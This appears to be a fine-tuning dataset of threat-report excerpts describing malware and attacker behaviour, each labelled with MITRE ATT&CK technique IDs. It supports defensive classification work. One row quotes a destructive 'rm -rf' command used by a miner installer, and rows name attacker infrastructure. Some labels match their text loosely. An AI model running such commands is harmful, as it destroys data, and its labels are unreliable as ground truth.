"The OilRig group remains highly active in their attack campaigns while they continue to evolve their toolset. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. While this is not a new tactic, this is the first instance where we have observed the OilRig using it in their playbook. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Execute Pluginhost.exe, the plugin management component. Save the payloads as Alternate Data Streams and set scheduled tasks to run them",['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
"Upon execution, GoldMax retrieves a list of the system’s network interfaces; the malware terminates if it is unable to do so or no network interface is configured. It then attempts to determine if any of the network interfaces has the following hardcoded MAC address: c8:27:cc:c2:37:5a",['T1016 - System Network Configuration Discovery'],fine_tune
"As with much of the malware distributed by TA505, The Trick has appeared in frequent, high-volume campaigns. The campaigns used a mix of attached zipped scripts (WSF, VBS), malicious Microsoft Office documents (Word, Excel), HTML attachments, password-protected Microsoft Word documents, links to malicious JavaScript, and other vectors. The last TA505 campaigns featuring The Trick appeared in mid-September 2017 with payloads alternating between Locky and The Trick","['T1027 - Obfuscated Files or Information', 'T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File']",fine_tune
"As a Windows Management Instrumentation (WMI) client application, it initializes COM and connects to the \\root\cimv2 namespace to use the IWbemServices pointer and make WMI requests. The code executes wql queries (“wql” is “sql for wmi”, a subset of sql) to gather victim host details, like the query “SELECT Description, Manufacturer, Name, ProcessorId FROM Win32_Processor”. Here are several queries from the BlackEnergy2 plugin code",['T1047 - Windows Management Instrumentation'],fine_tune
"Cisco Talos' previous research has mainly linked this group to CrimsonRAT, but new campaigns show they are expanding their Windows malware arsenal with ObliqueRAT. The victim is encouraged to click on an embedded URL hosted on sharingmymedia[.]com, which then downloads ObliqueRAT, the trojan discovered by Talos in 2020 associated with threat activity targeting entities in South Asia. We cannot confirm how the maldocs were delivered to victims, but we suspect they were probably sent as attachments to phishing emails based on previous threat actor behavior and the targeted nature of this particular lure. In such cases, adversaries would deliver phishing maldocs to targets containing a malicious VBA macro that extracted either the CrimsonRAT executable or a ZIP archive embedded in the maldoc. For example, attackers leveraging ObliqueRAT started hosting their malicious payloads on compromised websites instead of embedding the malware in the maldoc. After enabling macros, the file executes CrimsonRAT on the endpoint.Figure 4: The ""Download Now"" button contains a link to a malicious XLS with CrimsonRAT embedded in it. Lures and targeting . Transparent Tribe uses a variety of themes in their lures that evolved over time. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. In a few of these instances, the malicious executables in the archives contained honeytrap-themed icons to entice the victims into executing them",['T1204.001 - Malicious Link'],fine_tune
"The back door Java file uses a custom class loader that loads encrypted class files (named Opcion[1-14]) as it receives commands from the RAT controller server. The key, specified by the attacker when creating the back door, is used to encrypt the class files using DES as a stream cipher",['T1027 - Obfuscated Files or Information'],fine_tune
"The results are Gzipped and saved under random file in the temp folder. Following successful collection of information, the data is send back to the C2 and the file is deleted","['T1074.001 - Data Staged: Local Data Staging', 'T1560.001 - Archive Collected Data: Archive via Utility']",fine_tune
Below is an example of anti-analysis technique showing the loader checking if the victim system is a Vmware or VirtualBox VM,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
POWRUNER may also receive batch commands from the C2 server to collect host information from the system. An example batch command is provided in Figure 11,"['T1069.002 - Permission Groups Discovery: Domain Groups', 'T1069.001 - Permission Groups Discovery: Local Groups', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
"First, just like the Gh0st in the dshell paper from SANS, the decrypted protocol consists of a 5 byte header (ngLGX), a 4byte packet length field, and finally another 4 byte uncompressed length field. This is where the similarity ends as the Opcode and the data are compressed using ZLib, instead of just the data. Additionally, the entire packet is encrypted with an algorithm making visual analysis of the Wireshark data challenging. However, as the packet header is static, you can use the encrypted header as an identifier, like I did in my script. The encrypted header is: “\xEA\xEE\xCC\xD3\xB8” and is unchanged throughout the malware’s runthrough",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
Attackers like to use spear-fishing email with password protected RAR attachment to avoid being detected by the email gateway. Decryption password is provided in the mail body and inside the attachment it is a MHTML macro based document with the .doc suffix. Its purpose is to implant Imminent backdoor and gain a foothold into the target network which may make the follow up lateral movement easier to implement,['T1027 - Obfuscated Files or Information'],fine_tune
"This cabinet file is then extracted to the previously identified file path. Again, a shortcut file is written to the %TEMP% path with a name of ‘~Update.lnk’, which is in turn copied to the identified startup path with a filename of ‘Windows help.lnk’. This shortcut file calls the built-in ‘control.exe’ utility to in turn load the previously dropped malicious CPL file of ‘winhelp.cpl’. Finally, the malware calls the ‘winhelp.cpl’ file in a new process via the following command",['T1012 - Query Registry'],fine_tune
"Persistence with BITS UBoatRAT achieves persistence by using Microsoft Windows Background Intelligent Transfer Service(BITS). BITS is a service for transferring files between machines. Though the most famous application using the service is Windows Update, other applications or users can take advantage of the component. The tool provides the option, /SetNotifyCmdLine which executes a program when the job finishes transferring data or is in error. UBoatRAT takes advantage of the option to ensure it stays running on a system, even after a reboot. After completing the copying the local file, BITS executes the UBoatRAT file configured with /SetNotifyCmdLine at the third line",['T1197 - BITS Jobs'],fine_tune
"It moves the property list (plist) file com.dorusio.pkg.wallet.plist from the Installer package to the /Library/LaunchDaemons/ folder (Scheduled Task/Job: Launchd [T1053.004]). Because the LaunchDaemon will not run automatically after the plist file is moved, the postinstall script launches Dorusio_upgrade and runs it in the background (Create or Modify System Process: Launch Daemon [T1543.004",['T1543.004 - Create or Modify System Process: Launch Daemon'],fine_tune
"The group extensively uses long-running strategic web compromises[2] (SWCs), and relies on whitelists to deliver payloads to select victims. In comparison to other threat groups, TG-3390 is notable for its tendency to compromise Microsoft Exchange servers using a custom backdoor and credential logger",['T1189 - Drive-by Compromise'],fine_tune
"Both variants of the BitPaymer malware feature multiple techniques to hinder analysis. The malware developers have employed a combination of encrypted strings, string hashes and dynamic API resolution to ensure that no strings exist in the binary",['T1106 - Native API'],fine_tune
"Ramsay implements a decentralized way of storing these artifacts among the victim’s file system by using inline hooks applied on two Windows API functions, WriteFile and CloseHandle",['T1106 - Native API'],fine_tune
"The VBScript also uploads the output of the provided batch scripts to the command and control (C2) server, which provides threat actors a functional remote shell to the system",['T1119 - Automated Collection'],fine_tune
"The malware collects loads of sensitive data, which are then temporarily stored in files and deleted after they have been successfully uploaded to the C&amp;C servers. Even the deleted files can, however, be recovered by an experienced system administrator, which could help further investigation of the attack – after the victim becomes aware of it. This is possible due to the fact that some data still reside on a disk even after a file is deleted. To prevent this, the malware has the ability to safe-delete all the files, which means it first overwrites the data in a file with zeroes or random bytes, and only then is the file deleted",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"It uses virtualization software – QEMU on macOS and VirtualBox on Windows – to mine cryptocurrency on a Tiny Core Linux virtual machine, making it cross platform. The admins of the site also frequently update the applications with newer versions, making it difficult to track the very first version of the miner. 2) Shell scripts used to launch the QEMU images. qemuservice shell script . After the dependencies are copied over, all miner-related daemons are launched and then the actual software is installed: - qemuservice won’t launch the image if the Activity Monitor process is running. In fact, if it is running, it will unload the plist that it was launched by. Before installation, version 1 of the miner is removed along with executing the command: rm -rf /usr/local/* . As seen in the listing in Script 2, it only does so when it detects a running qemu-system-x86_64 process. Launching the Linux image . All versions use multiple shell scripts to launch the images. Version 1 executes the following binaries (copies of qemu-system-x86_64) to launch the QEMU images: qemu-system-x86_64, system-monitor, tools-service. All versions use the following switches: - -M accel=hvf to use the Hypervisor framework as an accelerator. There are, however, some hints that can help you to identify when an application contains unwanted code: - A trust popup from an unexpected, “additional” installer (in this case the Oracle network adapter). - High CPU consumption by a process you did not install (QEMU or VirtualBox in this case). - A new service added to the startup services list (Windows) or a new Launch Daemon (macOS). - Network connections to curious domain names (such as system-update[.]info or system-check[.]services here). Indicators of Compromise (IoCs) . Hashes . macOS “cracked” applications (versions 1-3) . Windows “cracked” applications (version 4) . Linux images . Filenames . macOS . Windows . Hostnames . Download hosts (via HTTP on port 80) . Update hosts (via SCP) . Mining hosts . MITRE ATT&amp;CK techniques . 20 Jun 2019 - 11:00AM . Sign up to receive an email update whenever a new article is published in our Ukraine Crisis – Digital Security Resource Center . Newsletter . Similar Articles . ESET Research . Watering hole deploys new macOS malware, DazzleSpy, in Asia . Virus Bulletin: Old malware never dies – it just gets more targeted . Anatomy of native IIS malware . Some URL shortener services distribute Android malware, including banking or SMS trojans . Discussion",['T1569.001 - System Services: Launchctl'],fine_tune
"Kimsuky is a highly motivated threat actor targeting a number of entities in South Korea. This group has been relentlessly creating new infection chains to deliver different types of malware to their victims. This campaign relies on the abuse of Blogspot to host attacker-operated blogs serving malicious VB based scripts to their targets. We've found preliminary malicious components from initial access beacons to file exfiltrators being deployed to victims. In many cases, the content of these preliminary components was combined to serve special scripts to victims.The final implants utilized by the actors in this campaign are derivatives of the Gold Dragon/Brave Prince malware families. Such targeted attacks can result in the leak of restricted research, unauthorized access for espionage and even destructive attacks against target organizations",['T1608.001 - Upload Malware'],fine_tune
"If the user opens the file and the exploitation is successful, a backdoor Trojan is installed on the system that gives the attacker access and a decoy document is displayed to the victim. The main module is also responsible for communicating with its C2 servers and handling commands issued by the C2 server. Figure 8: FakeM Architecture . All FakeM variants initiate communications with its C2 server and check the C2’s response for a command. After sending the acknowledgement packet, the Trojan will gather local system information and include it in a beacon to the C2 server. The Trojan uses AES to encrypt the communication channel its C2 server, which will provide one of three commands to carry out activities on the compromised system, as seen in Table 4. Unit 42 tracks this mobile Trojan as MobileOrder, as the authors specifically refer to commands within the app as orders. MobileOrder acts on instructions provided by its C2 server, which it communicates with over TCP port 3728. The C2 server will respond to requests from MobileOrder with commands that the Trojan refers to as “orders”. MobileOrder contains a command handler with functionality that provides a fairly robust set of commands, as seen in Table 6. Table 6: MobileOrder command handler . Infrastructure Overlap and Related Tools . There is some infrastructure overlap in the C2 servers used by almost all of the FakeM variants, as well other Trojans such as MobileOrder, Psylo, and CallMe. Actors will run HTRAN on a server and configure their malware to interact with that server; however, the actor will configure HTRAN to forward traffic to another server where the actual C2 server exists",['T1083 - File and Directory Discovery'],fine_tune
"So far, our telemetry hasn’t provided any concrete evidence that shows us how the Remexi malware spread. However, we think it’s worth mentioning that for one victim we found a correlation between the execution of Remexi´s main module and the execution of an AutoIt script compiled as PE, which we believe may have dropped the malware. This dropper used an FTP with hardcoded credentials to receive its payload",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"Second technique: FIN6 also leveraged the creation of Windows services (named with a random 16-character string such as IXiCDtPbtGWnrAGQ) to execute encoded PowerShell commands. The randomly named service is a by-product of using Metasploit, which creates the 16-character service by default. The encoded command contained a Metasploit reverse HTTP shellcode payload stored in a byte-array like the first technique. This C2 URL contained shellcode that would make an HTTPS request for an additional download",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"PowerShell Cobalt Strike Beacon - New payload + new C2 domain - PowerShell Obfuscator - All the new PowerShell payloads are obfuscated using a publicly available script adapted from a Daniel Bohannon’s GitHub project. Using this tool, the attackers could overcome a password reset. Customized Windows Credentials Dumper - A PowerShell password dumper that is based on a known password dumping tool, using PowerShell bypass and reflective loading. The attackers specifically used it to obtain Outlook passwords. Customized Outlook Credentials Dumper - Inspired by known Outlook credentials dumpers",['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
"During the first C&amp;C call, the backdoor sends a pack with the victim’s system information. All further information sent to the C&amp;C is encrypted with a public key framework, making decryption impossible. The commands from the C&amp;C are encrypted in a simpler manner and can be decrypted if intercepted because the secret key is hardcoded in the malware","['T1012 - Query Registry', 'T1560 - Archive Collected Data']",fine_tune
"Each payload comes compiled with a standard list of commonly used Monero-mining domains alongside a Monero wallet address. So far, we’ve identified two wallet addresses used by Blue Mockingbird that are in active circulation. Due to the private nature of Monero, we cannot see the balance of these wallets to estimate their success. We’ve seen mining payloads compiled as early as December 2019 and as recently as late April 2020. In each compilation, one of the two wallets has been embedded into the binary. The wallet addresses could be extracted from the binaries easily in earlier versions using a simple strings command. In newer versions, the string is obfuscated",['T1027 - Obfuscated Files or Information'],fine_tune
Certutil is a living-off the land command line utility that can be used to obtain certificate authority information and configure certificate services. Threat actors usually utilize certutil to download remote files from a given URL. It also incorporates a built-in function to decode base64-encoded files,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"In the first campaign, the email (Figure 1) purported to be from FinCERT [8] with the subject “Памятка по информационной безопасности” (Information Security Notice) and contained a Microsoft Word attachment named “сводка1705.doc” (report1705) (Figure 3). - Another email (Figure 2) purported to be from Security Support for PCI-DSS [3] at a major credit card company with the subject line “Безопасность” (security) and a Microsoft Word attachment (Figure 4) “Требования безопасности.doc” (Safety requirements",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Web inject – the configuration file for the hooking module Once communication with the C2 is established, one of the additional modules that is downloaded is the web-inject module. It intercepts the victim’s traffic by injecting the module into the browser’s process and hooking the network API. The hooking module gets the execution flow from intercepted APIs, and as soon as the victim accesses certain web pages related to banking and finance, additional JavaScript is injected into the source page","['T1185 - Browser Session Hijacking', 'T1059.007 - Command and Scripting Interpreter: JavaScript']",fine_tune
"My blog post, “Remote Mac Exploitation Via Custom URL Schemes”, describes the technical details of how WindShift (ab)used custom URL schemes to infect macOS systems",['T1189 - Drive-by Compromise'],fine_tune
"Executive summary . The PROMETHIUM threat actor — active since 2012 — has been exposed multiple times over the past several years.. However, this has not deterred this actor from continuing and expanding their activities. Talos could not pinpoint the initial attack vector, however, the use of trojanized installation files to well-known applications is consistent with the previously documented campaigns. The trojanized setup will install the malware and the legitimate application, which is a good way to disguise its activities. The usage of the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key has a persistence mechanism that has been replaced by the creation of a service. The dropped files are now stored in a folder located in C:\DOCUME~1\&lt;USER&gt;~1\LOCALS~1\Temp\ always following the same pattern similar to the following: 4CA-B25C11-A27BC. If it is executed with the ""help"" parameter, it will install a service to execute itself as a service. The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\DOCUME~1\&lt;USER&gt;~1\LOCALS~1\Temp\4CA-B25C11-A27BC\, each selected file will be compressed into the file kr.zp. Mysterious Wintask.xml . Our initial analysis in a sandbox showed that the C2 contact module attempts to execute this file, searching for it in the same path as the document search module, which we further corroborated with manual analysis. Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network",['T1204.002 - User Execution: Malicious File'],fine_tune
"One, called ""frown.py,"" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143. With a successful connection, it will send the word ""almond"" The server should reply either with ""who"" or ""ice. The RAT will answer the ""who"" command with a string that contains the username, computer name and the previously generated UUID. The ""ice"" command simply makes the RAT finish the connection procedure. This is responsible for the interpretation and execution of the C2 commands. The available commands are",['T1033 - System Owner/User Discovery'],fine_tune
APT15 then used a tool known as RemoteExec (similar to Microsoft’s Psexec) in order to remotely execute batch scripts and binaries,['T1569.002 - System Services: Service Execution'],fine_tune
"At the end of August 2018, the Sednit group launched a spearphishing email campaign where it distributed shortened URLs that delivered the first stage of Zebrocy components. In the past, Sednit used a similar technique for credential phishing. However, it is unusual for the group to use this technique to deliver one of its malware components directly. Previously, it had used exploits to deliver and execute the first stage malware, while in this campaign the group relied entirely on social engineering to lure victims into running the first part of the chain. The screenshot in Figure 1 shows Bitly statistics for the shortened URL used in this campaign",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"After the exploit succeeds, this Fallout Exploit Kit downloads a “.tmp” file to the %Temp% directory and calls CreateProcess to execute it. Further analysis revealed that the “.tmp” file was the latest variant of Azorult malware. It was the first time we’ve seen the new variant of Azorult malware used as primary payload for Fallout Exploit Kit",['T1105 - Ingress Tool Transfer'],fine_tune
"In at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies (T1090: Proxy) for pivoting. These tools included a fast reverse proxy (frp), Secure Socket Funneling (SSF), and Venom. In one instance, the adversary also tinkered with PowerShell reverse TCP shells and a reverse shell in DLL form (T1059.001: PowerShell",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"When initially executed, the malware will check its current working directory. Should it not match the expected path, Cardinal will enter its installation routine. Cardinal RAT will copy itself to a randomly named executable in the specified directory. It will then compile and execute embedded source code that contains watchdog functionality. Specifically, this newly spawned executable will ensure that the following registry key is set","['T1027.004 - Obfuscated Files or Information: Compile After Delivery', 'T1012 - Query Registry', 'T1083 - File and Directory Discovery']",fine_tune
"A custom executable that only contains the Metasploit shellcode. It is saved to C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msupdateconf.exe, granting the executable persistence. Another custom executable used to execute PowerShell scripts. The Mosquito JScript backdoor that uses Google Apps Script as its C&amp;C server. Privilege escalation using the Metasploit module ext_server_priv.x86.dll [8",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. Persistence is maintained through a Run registry key. The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
The ransomware also stops security software-related processes to evade detection and termination of its malicious activities,"['T1518.001 - Software Discovery: Security Software Discovery', 'T1562.001 - Impair Defenses: Disable or Modify Tools']",fine_tune
"Later, the attackers are observed executing an HTA file hosted on a remote server by abusing mshta.exe via depended.exe. The Mshta utility can execute Microsoft HTML Application (HTA) files and can be abused to bypass application control solutions. Since mshta.exe executes outside of Internet Explorer's security context, it also bypasses browser security settings",['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"APT40 uses a variety of malware and tools to establish a foothold, many of which are either publicly available or used by other threat groups. In some cases, the group has used executables with code signing certificates to avoid detection",['T1553.002 - Code Signing'],fine_tune
"Temporary audio and video files are stored within the audio and video sub-folders respectively. After a call is finished, this data is compressed and encrypted using the same techniques previously witnessed. These files are stored in randomly named .dat files within the Skype folder","['T1123 - Audio Capture', 'T1125 - Video Capture']",fine_tune
"During the investigation we discovered that the Responder tool was executed from one of the victim machines that had received the spear-phishing document. One day after the initial infection, the malware operator placed the tool onto this host and executed it using the following command",['T1204.002 - User Execution: Malicious File'],fine_tune
"The attackers used the famous Mimikatz credential dumping tool as their main tool to obtain credentials including user passwords, NTLM hashes and Kerberos tickets. Mimikatz is a very popular tool and is detected by most antivirus vendors and other security products. Therefore, the attackers used over 10 different customized Mimikatz payloads, which were obfuscated and packed in a way that allowed them to evade antivirus detection",['T1588.002 - Tool'],fine_tune
"Editor’s note: Following publication of this blog, it came to our attention that AhnLab encountered what appears to be an earlier version of SDBbot, described in their recent Q3 ASEC Report as a “malicious SDB file. AhnLab describes delivery of the malware in South Korean campaigns as a secondary payload to the FlawedAmmyy RAT. TA505 has been active in South Korea in 2019 and frequently distributes the FlawedAmmyy RAT, but we cannot verify the connection at this time",['T1204.002 - User Execution: Malicious File'],fine_tune
"This DLL is used for decrypting and executing another JavaScript backdoor such as Orz. The DLL is registered by the installer using regsvr32. If the string “DR” is passed as an argument, or if the DLL is running in the active session with a username that is not “system”, the final JavaScript backdoor is decoded using a custom base64 alphabet. This backdoor has to be present in the same directory as the dll, with a “.tmp” file extension. The backdoor script is then executed using the IActiveScript and IActiveScriptParse32 COM interfaces",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The ‘vac.dll’ DLL file is signed with a valid, legitimate digital signature, although the file has been tampered with. At first glance, the fact that its digital signature is valid would suggest the file has not been manipulated after being digitally signed",['T1553.002 - Code Signing'],fine_tune
"Ultimately, the XLS writes two files to disk, one of which -- the BAT -- immediately modifies some system settings and creates two scheduled tasks. However, this behaviour may not be enough to determine the components as malicious. Only after 20 minutes will the task scheduler execute the VBS downloader component and launch the BackConfig loader EXE, by which time analysis systems may have stopped monitoring",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"CTU researchers have observed BRONZE PRESIDENT targeting multiple NGOs. The threat actors steal data from compromised systems over a long period of time, which likely indicates a long-term objective of monitoring the target's network. BRONZE PRESIDENT uses custom batch scripts to collect either specific file types (including files with .pptx, .xlsx, .pdf extensions) or all files within a specific location. CTU researchers also observed evidence that the threat actors collect credentials from high-privilege network accounts and reputationally sensitive accounts, such as social media and webmail accounts",['T1119 - Automated Collection'],fine_tune
"The malware calls User32.dll's GetKeyboardLayoutList function, inspects the keyboard identifier, and returns true if the result ends in a value between \x18 thru \x44 inclusive. This result means the compromised host is whitelisted based on the host's configured keyboard layout. The malware inspects only the lower byte of the full keyboard identifier, so all systems using the keyboard locales listed in Table 4 are immune to REvil. Despite the large number of potential matches, CTU researchers suspect that the malware author intended to identify Russian keyboards based on several other links to the Russia-based GandCrab ransomware",['T1082 - System Information Discovery'],fine_tune
"The malware checks the language of the machine with function “GetUserDefaultUILanguage” and saves the value in the stack; it is not checked automatically after the call, but it is important later",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"Next, it checks the running processes against a list of hard-coded process names; if any are found, the machine is forcefully rebooted. The names are linked to various tools used by malware researchers","['T1057 - Process Discovery', 'T1518.001 - Software Discovery: Security Software Discovery']",fine_tune
"In the obfuscated and packed version of the loader, an uncommon API call is used to facilitate code injection. As seen in the image below, the loader uses VirtualAllocExNuma to allocate new memory and store the returned base address. The beginning of an obfuscated shellcode is copied to this address after being decrypted using an RC4 algorithm.In addition to the shellcode an additional PE can be seen in memory",['T1106 - Native API'],fine_tune
"The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"After executing the sample, we noticed the sample copied itself to a hidden folder and launched from the hidden folder. This is a good first step to hide itself from casual observation on disk",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
Qakbot has anti-analysis and anti-virtual machine checks. It will not continue to execute if any of the following exists in the system,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"Unlike recent variants of Mirai and Gafgyt that target vulnerable Linux systems via randomly generated IP addresses, Xbash also scans and trawls through domain names. Hadoop’s unauthenticated command execution flaw discovered in October 2016, as well as the Redis arbitrary and remote command execution vulnerability disclosed in October 2015, have yet to be assigned CVE numbers. Based on the active C&amp;C traffic, it scans and probes for open TCP or UDP ports such as HTTP, VNC, MySQL/MariaDB, Telnet, FTP, MongoDB, RDP, ElasticSearch, Oracle Database, CouchDB, Rlogin and PostgreSQL. While the malware uses a weak username and password dictionary to brute force itself into the service, it is also able to update its set from the C&amp;C server, delete all the databases, and display the ransom message",['T1110.001 - Brute Force: Password Guessing'],fine_tune
"BITSAdmin tool - Win32 apps BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. Using BITS - Win32 apps Using BITS - bitsadmin examples Examples showing how to use the bitsadmin tool to perform the most common tasks. Background Intelligent Transfer Service - Win32 apps Background Intelligent Transfer Service (BITS) transfers files (downloads or uploads) between a client and server and provides progress information related to the transfers. cleanmgr Configure the Disk Cleanup tool (Cleanmgr.exe) to automatically clean up certain files. bitsadmin Reference article for the bitsadmin command, which is a command-line tool used to create, download, or upload jobs and monitor their progress",['T1570 - Lateral Tool Transfer'],fine_tune
"Talos has identified two different infection vectors associated with this particular campaign. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. In the first scenario, Talos discovered a document named ""MinutesofMeeting-2May19.docx"", that appeared to display the national flag of Jordan. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
After this it will destroy all shadow volumes of the victim machine and disable the protection of the recovery boot with this command,['T1490 - Inhibit System Recovery'],fine_tune
The command in Figure 8 downloads and launches code within an SCT file. The SCT file in the payload (MD5: 1554d6fe12830ae57284b389a1132d65) contained the code shown in Figure 9,['T1059 - Command and Scripting Interpreter'],fine_tune
Steals Google Chrome and Apple Safari browser cookies from the victim’s machine - Steals saved usernames and passwords in Chrome - Steals saved credit card credentials in Chrome - Steals iPhone’s text messages if backed up to Mac - Steals cryptocurrency wallet data and keys - Keeps full control of the victim using the EmPyre backdoor - Mines cryptocurrency on the victim’s machine,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Look for traffic to any of the related malicious domains identified in Appendix A. Use the signatures provided by FireEye to identify related activity. Make sure all credentials in an organization, including service accounts, are reset following a breach and that default passwords or those similar to previous passwords are not used. If you run an on-premise Exchange environment, consider adding alerting mechanisms to any EDR solutions for processes using the Exchange Management Shell PowerShell cmdlets listed in Appendix B. This may or may not be a valid detection approach depending on how frequently this is used within your organization. More generally, if the Exchange Management Shell is rarely used in a legitimate Administrative context, it may be worth investigating any historical use of this shell",['T1482 - Domain Trust Discovery'],fine_tune
"Config.json"" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. Lowerv2.sh"" and ""rootv2.sh"" are similar shell scripts that attempt to download and execute the mining malware components ""bashf"" and ""bashg,"" hosted on 118[.]24[.]150[.]172. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called ""XbashY"" from 3g2upl4pq6kufc4m[.]tk. R88.sh"" is a shell script that installs a cron job and attempts to download ""lowerv2.sh"" or ""rootv2.sh. Based on the config file it uses, it appears to be the Monero Silent Miner. Advertising for the miner promotes it as offering startup registry key persistence, mining only while idle, and the ability to inject the miner into ""Windows processes to bypass firewalls. The sample grabs the config file ""xmr.txt,"" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. Intriguingly, this file appears to share some similarities with Cobalt Strike, the popular penetration testing software, which would allow the attacker to have greater control over the infected system. Both Iron and Rocke's malware behave similarly, and reach out to similar infrastructure",['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"It uses the Windows service “winmgmts:\\.\root\SecurityCenter2 ” to check all AntiVirus products installed on the operating system. As shown below in the figure, it is done by creating the object the service “ winmgmts:\\.\root\SecurityCenter2 ” and executes the query “ Select * From AntiVirusProduct ” by using the same object that is created of a mentioned service",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Flagpro v2.0 has another new function. If a dialog title is “Internet Explorer [7-11]” (the number after “Internet Explorer” depends on what version the user users) when Flagpro accesses to an external site, Flagpro sends WM_CLOSE message to close the dialog",['T1070 - Indicator Removal on Host'],fine_tune
"The file destruction algorithm is composed of two stages: a first stage to overwrite files and another to destroy the physical disk layout and the partition tables along with it. For the file destruction, it takes ownership of the files by modifying their ACL entries after it has obtained the 'SeTakeOwnershipPrivilege'. A file found will then simply be overwritten with zeros. This is done for the next 23 drives alphabetically (through ""Z:\""). On the second stage, the wiper attempts to set the drive layout of all the physical drives on the system numbered 9 to 0. This will wipe out all extended information about the physical drive's partitions including MBR, GPT and partition entries. Destroying the start of the files and the partitions tables is a common technique seen on other wipers, and its highly effective in preventing the file recovery",['T1561.002 - Disk Structure Wipe'],fine_tune
"BEACON payloads have commonly been executed after moving laterally to new hosts within the victim network. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication",['T1133 - External Remote Services'],fine_tune
"This second request (Encoded Get System Information Request) is encoded using the same method as the custom TCP protocol used for communication with command-and-control servers, which uses a four-byte XOR encoding. Before acting on the request, Winnti will validate the third DWORD contains the magic value 0xABC18CBA before executing tasking","['T1573.001 - Symmetric Cryptography', 'T1205 - Traffic Signaling']",fine_tune
"an executable (also compressed, i.e. zip, rar or cab archive), sometimes pretending to be a different file format, like Dyreza - a document (commonly PDF or some MS Office format ) – like this Dridex downloader",['T1204.002 - User Execution: Malicious File'],fine_tune
